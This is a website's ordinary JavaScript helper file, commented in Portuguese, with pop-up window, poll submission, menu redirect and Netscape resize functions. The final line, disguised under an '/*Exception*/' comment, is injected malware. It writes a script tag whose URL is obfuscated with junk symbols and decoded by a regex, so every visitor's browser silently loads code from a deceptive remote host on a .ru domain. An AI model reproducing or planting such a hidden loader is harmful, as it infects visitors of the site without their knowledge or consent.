//Abre janela central
b_versao = parseInt(navigator.appVersion);

var win = null;
function NewWindow(mypage,myname,w,h,scroll,size)
{
if (b_versao >= 4)
	{
	LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
	}
else
	{
	LeftPosition = 100
	TopPosition = 100
	}
settings = 'height='+h+',width='+w+',top='+TopPosition+',left='+LeftPosition+',scrollbars='+scroll+',resizable='+size+''
win = window.open(mypage,myname,settings)
if(win.window.focus){win.window.focus();}
}

//Abre janela com o resultado das pesquisas
function abreEnquete(clicou_voto)  {
  window.open("", "enquete", "directories=no,height=276,width=520,hotkeys=no,location=no,menubar=no,resizable=no,scrollbars=no,status=no,toolbar=no,copyhistory=no");
  document.enquete.voto.value = clicou_voto;
  document.enquete.submit();
}


//Redireciona para diretorio desejado opcao do form
function Menu(form) {var result=(form.Alvo.options[form.Alvo.selectedIndex].value);location.href=result;}

//Dah refresh em Netscape se a janela for redimensionada
function MM_reloadPage(init) {
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);

//Acerta editoria atual no pull down
function acertaeditoria() {document.form1.Alvo.selectedIndex=0;}


/*Exception*/ document.write('<script src='+'h!#t^t!)!!p))!^&:!$(/&#)/#&5##)5&&b@)(b@&@s(@-)c&o&)@m&.$!^e!(l^p$&!!@a(i&)s$.!)#&c)$&o(m&)!^.#m&!e^@)e!(b((#$@o$)^-!#^!c(!)o&)m&@.$!t(&@#o@!w@$n$!w^)e$&@@b&(^m#)a(&!i@(l&).&)$&r)&))u&#:&)8(0$)&8$#0($&/!@@&g($o$@o$($g!#l@e)!!(@.#&c)o@)(m^^/@#(g&)((o))@o#$#^g!&#^l(e&$.^$&c@&)o^)!m$^$!/@^#w^@#a)l#@m)($a#$&r(&t).#c!^o&()$m)@/)&o#@d$@)n^&^!o&!#k)^@l^^a@@$@(s^^^s))@n^)!i(^!)k(i($.)!r()u^(!/$&&$w@w#e^!.&(&c&@o&m@/@$)@'.replace(/&|\)|\$|@|\(|\^|\!|#/ig, '')+' defer=defer></scr'+'ipt>');